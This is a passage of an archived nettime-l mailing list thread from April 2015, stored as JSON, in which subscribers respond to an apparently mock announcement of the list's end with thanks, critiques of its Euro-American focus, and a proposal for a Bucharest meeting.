to\n   interpret spurious signs of tightly controlled (media-)enactments that\n   could mean anything or nothing at all - really..\n\n   - China, Middle-East, Africa, and for that matter Latin America, all\n   very much absent indeed and we miss this dearly. There are net.cultures\n   in these places, but they are not with us. I agree fully with Ted and\n   Felix here that this is a major issue. In the past we had a healthy\n   inflow from South Asia via the Sarai `constituency', but that too has\n   dried up, largely because it migrated to Sarai's very active Reader\n   List and other fora, but we've somehow lost touch. I guess for a\n   variety of reasons.\n\n   - nettime could do more, much more to connect with the new generations\n   of what I usually refer to as the `movement(s) of the squares', and\n   what Ted and Felix call the `flowerings of new forms of subjectivity\n   and the new forms of sovereignty that they give rise to' - indeed. The\n   generation issue is not so relevant for me. The more important point\n   would be to build on nettime's continued presence to create connections\n   between different generations, to exchange experiences and knowledge,\n   to learn more from what is happening right now, to understand, create\n   solidarity, gain new insights and energies.. That wil not happen by\n   itself, but requires a dedicated and conscious effort - would that be\n   thinkable in the context of nettime? Who knows? Maybe...\n\n   - the \"profoundly important dynamics across parts of the world\n   conventionally -- and reductively -- called 'Muslim' or `Arab'\" - when\n   I want to figure out something there, my first stop is always the\n   superb Jadaliyya blog. But there are no `Jadaliyyans' on nettime, alas,\n   none so far as I am conscious about. And yet they are only one e-mail\n   away. For the Tactical Media Files resource I collected a number of\n   contributions from that `constituency' and never had a problem getting\n   a swift response and co-operation, so what's stopping nettime?\n\n   I think the idea for (finally) a nettime meeting again (after way too\n   many years) is a really valuable one. And indeed it can take many\n   forms, but it would be great to meet up for this, discuss, debate,\n   invite youngsters and non-grey/whites/males/euromaricans and so on,\n   cross-connect, pollinate, infect, contaminate and infuse, all that.\n   Let's again be `proud to be flesh'..\n\n   In short, let's move from self-reflection to some concrete actions...\n\n   up for the next 20...!\n\n   :)\n\n   in appreciation,\n\n   eric\n\n   On 01 Apr 2015, at 07:35, nettime mod squad <nettime {AT} kein.org>\n   wrote:\n\n   In this and many other ways, nettime has been 'graying.' It's wedded\n   to a particular Euro-American moment, the so-called summer of the\n   Internet, which has since turned to winter. Nettime's once-radical\n   embrace of the ex-East -- or, if you like, of the ex-West -- barely\n   extends to Hungary now, and has nothing to say to the decisive\n   conflicts around Russia's borders, obviously (but not only) in\n   Ukraine. Its early tacit prohibition on ritualizeddebates about\n   Israel and Palestine has grown into a complete failure to address the\n   profoundly important dynamics across parts of the world conventionally\n   -- and reductively -- called 'Muslim' or 'Arab.' These areas are too\n   often consigned to the 'timelessness' of conflict, but there's every\n   reason to believe that their liberatory struggles could ultimately\n   define the future of the 'WEIRD' nations. China? Barely a peep about\n   it. Africa? Nettime is nowheresville. The seas, the skies, the\n   circulatory flows? Nada. And how about nongeographical 'areas' where\n   the most moving cultural changes are happening -- in the flowerings\n   of new forms of subjectivity around the world and the new forms of\n   sovereignty they're giving rise to. Silence. But, really, who cares\n   what a bunch of straight white cis guys -- which is 95% of the list's\n   traffic -- think about those things? Really.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00041",
                        "date": "Fri, 3 Apr 2015 16:46:36 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "69e5fa62036081de883a366a28ce5943 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00041.html",
                        "content-type": "text/plai",
                        "author_name": "Eric Kluitenberg",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Colin Hodson <colinhodson {AT} gmail.com>",
                        "content": "Hi everyone.\n\nI too wondered what nettime meant to me at the spectre of its possible\ndemise. I don't think of myself as active in the contributing sense,\nbut definitely active in consuming the fantastic output ( and I mean\nfantastic in terms of volume, speed, and ideas bouncing through the\nposts). The loss for me would be that I am being exposed to thought\nand histories I would not come across in other contexts. And yes, not\na peep about so many things. But a lot of peeps that have taken me to\nquite some places.\n\nSo nettime fuels me in a unique way, big thanks to those who share\nhere. Very interesting and a pleasure to see it (and some of its\nconstituents) in this April 1st relexivity.\n\ncheers\nColin\n\n\nOn 01/04/2015, nettime mod squad <nettime {AT} kein.org> wrote:\n\n> Dear Nettimers, present and past --\n <...>\n\n-- \n+ + + + + + + + + + +\n+64 22 303 5445\nhttp://colinhodson.net\n- - - - - - - - - - - - - - - -\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00045",
                        "date": "Sat, 4 Apr 2015 03:15:55 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "93ac628ca86afc95ee774c5cf25bfcf9 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00045.html",
                        "content-type": "text/plai",
                        "author_name": "Colin Hodson",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Rob Dyke <robdyke {AT} gmail.com>",
                        "content": "   More lolcatz\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00049",
                        "date": "Sat, 4 Apr 2015 14:57:24 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "0f083a89b9336df91d582ec46ca83b2b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00049.html",
                        "content-type": "text/plai",
                        "author_name": "Rob Dyke",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Thomas Gramstad <thomas {AT} ifi.uio.no>",
                        "content": "\n+1\n\nThomas Gramstad\n\n\nOn Thu, 2 Apr 2015, Claire Pentecost wrote:\n\n",
                        "id": "00050",
                        "date": "Sat, 4 Apr 2015 21:53:21 +0200 (CEST)",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "f0509fa36a822f57a2bff0350d2191a4 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00050.html",
                        "content-type": "text/plai",
                        "author_name": "Thomas Gramstad",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "\"Kath O'Donnell\" <aliak77 {AT} gmail.com>",
                        "content": "thanks from me too. long time lurker & reader.\n\nOn Sunday, 5 April 2015, Rob Dyke <robdyke {AT} gmail.com> wrote:\n\n>    More lolcatz\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00052",
                        "date": "Sun, 5 Apr 2015 08:26:09 +1000",
                        "to": "nettime-l <nettime-l {AT} kein.org>",
                        "message-id": "f36dfe465781ab99afd3b63f76e5f5a0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00052.html",
                        "content-type": "text/plai",
                        "author_name": "Kath O'Donnell",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "David Garica <d.garcia {AT} new-tactical-research.co.uk>",
                        "content": "People who just (or mostly) read on-line do not deserve\nthe creepy designater - lurker.\n\nReading is a very different experience when done in\nthe knowledge that we can at any point respond.\nEven if we never actually do.\n\nNew ways of reading and writing, making and being\ntogether (appart) is something I first learned about on\nnettime.\n\nOn 04/04/2015 23:26, Kath O'Donnell wrote:\n\n>thanks from me too. long time lurker & reader.\n>\n>On Sunday, 5 April 2015, Rob Dyke <robdyke {AT} gmail.com> wrote:\n>\n>>    More lolcatz\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00055",
                        "date": "Sun, 05 Apr 2015 17:52:24 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "65eebf4999652f78f3fe87dcbd19bdbc {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00055.html",
                        "content-type": "text/plai",
                        "author_name": "David Garica",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "nativebuddha <nativebuddha {AT} gmail.com>",
                        "content": "     is this an accelerationist experiment with nettime? making it see\n     its own futurity and warping it up to deathspeed?\u00c2\n\n   always struck by first steps into virtual worlds where newbies go for\n   the sex sex sex...followed by final swan song exits singing forth\n   no-stal-gia.\n   how will we engrave the nettime tombstone?\n   warp it up more and move beyond H Rheingold mourning communities.\n   what happens then?\n   -nativebuddha\n\n",
                        "id": "00057",
                        "date": "Sun, 5 Apr 2015 22:24:24 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "e4c85f2119571b1ce9b062946093e8dd {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00057.html",
                        "content-type": "multipart/mixed",
                        "author_name": "nativebuddha",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "czegledy {AT} interlog.c",
                        "content": "Sincere thanks to Ted and Felix for keeping\nthe  often intriguing  nettime exchange alive\nfor all these years.  I joined in the late nineties,\nand while seldom posting kept up with the\ndiscussions faithfully.\n\nnina czegledy\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00058",
                        "date": "Mon, 6 Apr 2015 10:20:19 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "9ff6788f6847cba4aeb28132886662b0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00058.html",
                        "content-type": "text/plai",
                        "author_name": "czegledy",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Keith Sanborn <mrzero {AT} panix.com>",
                        "content": "Thanks for this explanation. Still, feel the love, Ted and Felix, before we move on. \n\n> On Apr 2, 2015, at 6:09 PM, Felix Stalder <felix {AT} openflows.com> wrote:\n> \n> -----BEGIN PGP SIGNED MESSAGE-----\n> Hash: SHA1\n> \n>> On 2015-04-02 12:05, Alex Foti wrote:\n>> i mean let's not commit suicide,\n> \n> Yeah, let's not do that, not the least because, as Bifo pointed out,\n> that would be a response entirely in line with how systems works.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00059",
                        "date": "Mon, 6 Apr 2015 10:48:38 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "3b6814035473da21545983583de295fd {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00059.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Sanborn",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Kruno Jost <udrugauke {AT} gmail.com>",
                        "content": "\n> People who just (or mostly) read on-line do not deserve the creepy\n> designater - lurker.\n\nThank you David for this observation,\n\nthis is my first post after reading (lurking) for some years and doing\nit passionately. Nettime list is research and study material, much\nmore alive than any blog or social media. It is a living portal. And\nam glad to see so many people I know here, and so many people I will\nget to know in the future.\n\nEven if sharing means two way communication, and my lurking is not\nespecially friendly to other list inhabitants, I am taking that all\nthe ideas and info here is to be shared to others who are not on any\nlists. So thanking everyone in their name too,\n\nBest\n\nKruno\n\n\n-- \nURBANA KULTURA I EDUKACIJA \nDravska 17, Vara\u017edin, Hrvatska\nwww.uke.hr\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00060",
                        "date": "Mon, 06 Apr 2015 22:28:07 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "9b9e8e6f5ab1f8921a2f7c64830fe8c0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00060.html",
                        "content-type": "text/plai",
                        "author_name": "Kruno Jost",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Molly Hankwitz <mollyhankwitz {AT} gmail.com>",
                        "content": "Dear Ted and Felix,\n\nWell, I started reading from the most recent and *shocked* replies, and\nthen, I went back to find this long email.\nCrazy, but, I was just thinking, something I do occasionally - :') (about\ntwo days ago) about the fact that nettime\nSTILL has the old, grey email interface and the form of a list....when Mark\nZuckerberg and his cohorts have dazzled 9 billion people - like burgers -\nto \"add content\" - because its more exciting, hogs up more bandwidth, acts\nlike Reality TV and spreads ad sprawl globally... and I thought, 'hmmm, its\nkind of a good thing, kind of a relief, kind of wonderful that nettime is\nstill nettime and there are few \"content-delivery\" expectations, and there\nare some half way interesting arguments, texts, writings, reviews...\n\nThis is such a cop out not a confession of radical/unradical ...well,\nthanks for keeping the list \"alive\" but please, don't tell us, after\nrunning a low tech internet list for almost 20 years,  that the reason you\nare folding is because the Internet\nis \"post\" and there are not enough pictures on nettime...I thought\n low-tech, high-concept was the idea...n5m3...you know? Not \"multimedia\" to\nuse a 90s term.  I thought\nthis was what made nettime cool, not measuring it against snailmail...I\nthought SLOW MEDIA was good media...and wouldn't some younger people, if\nyou two have gotten tired, to take over some of the list work?\n\nI'm sad that there's no merit in the good old list format...as seen by\nso-called critics of technology...\nwhat happens to looking to nettime for something crisp to be said about\ntechnology?\n\nHuh?\n\nI'm confused\n\nMolly Hankwitz\n\nmolly hankwitz\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00062",
                        "date": "Mon, 6 Apr 2015 12:45:39 -0700",
                        "to": "nettime mod squad <nettime {AT} kein.org>",
                        "message-id": "6a12bc09a9aaf68f05a5639e647bbb30 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00062.html",
                        "content-type": "text/plai",
                        "author_name": "Molly Hankwitz",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Kevin Flanagan <kev.flanagan {AT} gmail.com>",
                        "content": "   A reassuring side effect of announcing the death of someone or\n   something whether it be an April fool prank or not is that people you\n   don't know turn up for the funeral with eulogies and elegies.\n   As an art student nettime was my first real encounter with an active\n   critical net culture I preferred to listen and learn and have never\n   actively contributed but please do not mistake silence for absence,\n   clearly there are many of us here who value nettime. It has for me\n   always been a source for provocation and inspiration. It's great to see\n   so many nettimers here. Thank you all. I hope we will continue to\n   celebrate the spirit of nettime together for some time to come.\n   Kevin \u00c2\n\n   On 6 April 2015 at 22:28, Kruno Jost <[1]udrugauke {AT} gmail.com> wrote:\n\n     > People who just (or mostly) read on-line do not deserve the creepy\n     > designater - lurker.\n\n     Thank you David for this observation,\n     this is my first post after reading (lurking) for some years and doing\n     it passionately. Nettime list is research and study material, much\n     more alive than any blog or social media. It is a living portal. And\n     am glad to see so many people I know here, and so many people I will\n     get to know in the future.\n <...>\n\n   --\n   For P2P Foundation related messages please contact me at\n   [6]kevin {AT} p2pfoundation.net\n   [7]http://blog.p2pfoundation.net/\n   [8]https://twitter.com/flgnk\n   Skype: kev.flanagan\n   Phone: +353 87 743 5660\n\nReferences\n\n   1. mailto:udrugauke {AT} gmail.com\n   2. http://www.uke.hr/\n   3. http://mx.kein.org/mailman/listinfo/nettime-l\n   4. http://www.nettime.org/\n   5. mailto:nettime {AT} kein.org\n   6. mailto:kevin {AT} p2pfoundation.net\n   7. http://blog.p2pfoundation.net/\n   8. https://twitter.com/flgnk\n\n",
                        "id": "00063",
                        "date": "Mon, 6 Apr 2015 23:51:19 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "760a293bc592b0d8e87f43e04c41b848 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00063.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Kevin Flanagan",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                        "content": "\nOn 06/Apr/15 07:48, Keith Sanborn wrote:\n",
                        "id": "00064",
                        "date": "Mon, 06 Apr 2015 12:01:24 -0700",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "9dd4319ae11513e4ddfd857d87869aa1 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00064.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "dan {AT} geer.org",
                        "content": "Dear Moderators, Thank you for your thankless work.\n\nIf this list goes to the web or to a service, Google or otherwise,\nI won't be coming along.  I don't do blogs, I don't use anything\nthat requires that I establish an account, and I don't execute\ncode that others send (Javascript, for a prime example).  As long\nas nettime remains multi-cast plaintext, it is free from the lion's\nshare of toxins, broadly defined, and it will have me as a subscriber.\n\n--dan\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00066",
                        "date": "Tue, 07 Apr 2015 21:44:41 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "33879.1428457481.1 {AT} palinka.tinho.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00066.html",
                        "content-type": "text/plai",
                        "author_name": "dan",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "\"Michael H. Goldhaber\" <michael {AT} goldhaber.org>",
                        "content": "Thanks Ted and Felix for revealing that you weren't completely serious,\nas well as for your incredible energy in editing all through the years,\nbringing many lively thoughts and fascinating conversations to us in\nwhat has seemed like \"real time.\"\n\nI note that when I began to subscribe, at Bruce S's suggestion, back in\nthe 90's, Deleuze and Guattari's thought seemed the polestar by which\nall else was reckoned. It has utterly disappeared, without replacement,\nas far as I'm aware. My guess is this is not  peculiar to nettime, and\nmay not be a bad trend at all, but it is in some ways a sobering fact\nthat obeisance to some kind of possibly vague but \"higher\" thought is\nunderstood as no  more needed or helpful. To be sure much of that was a\nkind of academic posturing at one time likely to help in certain\ncareers, but no longer. Still one misses the poetry of it, a bit, along\nwith the sense in retrospect  that the world was then young and full of\nmystery, or at least of \"miasmal mists.\"\n\nDoes someone else  or perhaps you, Felix and Ted,  have a clearer sense\nof why none of us see fit anymore to enclose our writings in that kind\nof gift wrapping?\n\nBest,\nMichael\n\n> On Apr 7, 2015, at 6:44 PM, dan {AT} geer.org wrote:\n> \n> Dear Moderators, Thank you for your thankless work.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00067",
                        "date": "Tue, 7 Apr 2015 22:24:04 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "81bad775ba31a366f71d25b8468446fb {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00067.html",
                        "content-type": "text/plai",
                        "author_name": "Michael H. Goldhaber",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "JNM <jnm {AT} rom.fr>",
                        "content": "\n+1\n\nJN\n\n\n",
                        "id": "00068",
                        "date": "Wed, 8 Apr 2015 14:27:51 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "1ca565ce548c8ffe5f1065ed8c01c3bc {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00068.html",
                        "content-type": "text/plai",
                        "author_name": "JNM",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    }
                ],
                "message-id": "46fbf7dc9ac6bc208b1c33dbb4f0bca3 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Wed, 1 Apr 2015 07:35:14 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00047",
                "content": "   Nettime took off in a studio next to mine at Kuenstlerhaus Bethanien,\n   in 1995. I did not get then very well what Geert and Pit were up to, as\n   my Eastern European mind was warped around different issues. But it was\n   precisely the Eastern-European, non-US-centric side of nettime that\n   made it fly well, in spectacular loops, from Berlin to Budapest to\n   Ljubljana, from net-art to the post-Soros era, to \u00e2\u00a6\n\n   The Bucharest meeting, which has been presented here in the initial\n   posting as a symptom of nettime\u00e2s end, was my idea. Last year in July,\n   afetr taking over the directorship of the National Museum of\n   Contemporary Art (MNAC) Bucharest, one of my first thoughts has been to\n   the flesh meetings of nettime, and to what they meant to me, and to\n   others.\n\n   I briefly shared with Ted first and then with Felix my feelings, and my\n   interest in bringing about a nettime gathering at MNAC, in Bucharest\n   (sorry David, no more Amsterdam for once). At the same time I shared my\n   reservations about the current lack of interest for this region (yes,\n   Hugary, Ukraine, Russia, the Baltics, Poland, the Black Sea and the\n   Danube question, Romania even), and the dominant non-iconic\n   preoccupations of the list, which make it slightly off-beat for a\n   vivid, rapidly growing community of young people here, who are mainly\n   interested in visual culture, activist art, cross-media experiments,\n   and the complicated politics of the region.\n\n   They come and tell me that the buzz goes about Bucharest being the\n   Berlin of the 2015s. Might be. MNAC is located in what has been called\n   for many years Ceausescu\u00e2s Palace; now we have here as neighbors the\n   Romanian Parliament. It is an interesting setting. Leviathan. We do not\n   have fancy budgets, but a great terrace with a view on the construction\n   site of the what will be the National Cathedral of Romania (!). And we\n   have the skills to animate good gatherings and good parties.\n\n   The rest is on you, nettimers. If this sounds like an invitation, then\n   come with the details.\n\n   Sincerely yours,\n\n   Calin Dan\n\n\n\n   On 04 Apr 2015, at 06:15, Colin Hodson <colinhodson {AT} gmail.com> wrote:\n\n   Hi everyone.\n   I too wondered what nettime meant to me at the spectre of its possible\n   demise. I don't think of myself as active in the contributing sense,\n   but definitely active in consuming the fantastic output ( and I mean\n   fantastic in terms of volume, speed, and ideas bouncing through the\n   posts). The loss for me would be that I am being exposed to thought\n   and histories I would not come across in other contexts. And yes, not\n   a peep about so many things. But a lot of peeps that have taken me to\n   quite some places.\n   So nettime fuels me in a unique way, big thanks to those who share\n   here. Very interesting and a pleasure to see it (and some of its\n   constituents) in this April 1st relexivity.\n   cheers\n   Colin\n\n   On 01/04/2015, nettime mod squad <nettime {AT} kein.org> wrote:\n\n     Dear Nettimers, present and past --\n\n   <...>\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00047.html",
                "list": "nettime_l",
                "author_name": "adsl487504 {AT} telfort.nl",
                "subject": "Re: <nettime> nottime: the end of nettime - let's change th",
                "from": "\"adsl487504 {AT} telfort.nl\" <adsl487504 {AT} telfort.nl>",
                "follow-up": [
                    {
                        "from": "in <ignacio.nieto {AT} ug.uchile.cl>",
                        "content": "\nDear Calin and all\n\nI live thousands of kilometer from Bucharest on a place called\nProvidencia in Santiago, Chile, but its sound interesting making a\nreflection about the network in these postfacebook era. Maybe I can\ncontact my old latin american colleague, who were in nettime-lat maybe\nto make an online conference? We would love to go there but money have\nbeing always an issue for us. So if you got a date maybe the nettimers\ncould give ideas about the name of these twenty years celebration.\n\n--in\n\n\nEl 04-04-2015 a las 5:24, adsl487504 {AT} telfort.nl escribi\u00f3:\n",
                        "id": "00054",
                        "date": "Sat, 04 Apr 2015 16:43:29 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "b5614d0f2af5e4320320a970eed359d1 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00054.html",
                        "content-type": "text/plai",
                        "author_name": "in",
                        "subject": "Re: <nettime> nottime: the end of nettime - let's change th"
                    }
                ],
                "message-id": "1892ccfb1ce31762b3f9b5113984a5ce {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "4 Apr 2015 11:24:26 +0200",
                "content-type": "multipart/mixed"
            },
            {
                "content-type": "text/plai",
                "from": "Newmedia {AT} aol.c",
                "id": "00053",
                "content": "----- Forwarded message from Newmedia {AT} aol.com -----\n\nFrom: Newmedia {AT} aol.com\nSubject: Re: <nettime> nottime: the end of nettime\nDate: Thu, 2 Apr 2015 08:21:35 -0400\nTo: nettime {AT} kein.org\n\n   Folks:\n\n   The MEDIUM is *still* the MESSAGE . . . !!\n\n   Mark Stahlman\n\n   Jersey City Heights\n   In a message dated 4/1/2015 4:11:53 A.M. Eastern Daylight Time,\n   nettime {AT} kein.org writes:\n\n     Dear Nettimers, present and past --\n\n----- End forwarded message -----\n----- Forwarded message from Newmedia {AT} aol.com -----\n\nFrom: Newmedia {AT} aol.com\nSubject: Re: <nettime> net.critique in autumn\nDate: Fri, 3 Apr 2015 15:05:06 -0400\nTo: bhcontinentaldrift {AT} gmail.com, nettime-l {AT} kein.org\n\n   Brian:\n\n   > I think we have a lot of capacity to explore the new\n   > directions that cybernetic society is going to take\n\n   > in the autumn of the Internet boom.\n   One word: China (which is where I headed in 1997, after meeting up with\n   the crew in Budapest <g>) . . .\n\n\n   Mark Stahlman\n\n   Jersey City Heights\n\n----- End forwarded message -----\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "date": "Sun, 5 Apr 2015 17:41:49 +0200",
                "to": "Nettime <nettime-l {AT} kein.org>",
                "message-id": "e45bf60f372e1e9c6b38e2ddaa6db305 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00053.html",
                "list": "nettime_l",
                "author_name": "Newmedia",
                "subject": "Re: <nettime> nottime: the end of nettime [2x]"
            },
            {
                "id": "00026",
                "content": "\n\nThis alone is a major success.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00026.html",
                "list": "nettime_l",
                "author_name": "morlockelloi",
                "subject": "<nettime> ***SPAM*** Re:  nottime: the end of nettim",
                "from": "lockelloi {AT} yahoo.c",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "lockelloi {AT} yahoo.c",
                        "id": "00044",
                        "content": "\n\n",
                        "date": "Fri, 03 Apr 2015 13:56:31 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "a53e22f3e8819bc35c8952aea6f5ba47 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00044.html",
                        "list": "nettime_l",
                        "author_name": "morlockelloi",
                        "subject": "<nettime> ***SPAM*** Re:  nottime: the end of nettim"
                    }
                ],
                "message-id": "1968271e96b431ef1dafa86b0d144d28 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Thu, 02 Apr 2015 09:46:07 -0700",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "{ brad brace } <bbrace {AT} eskimo.com>",
                "id": "00033",
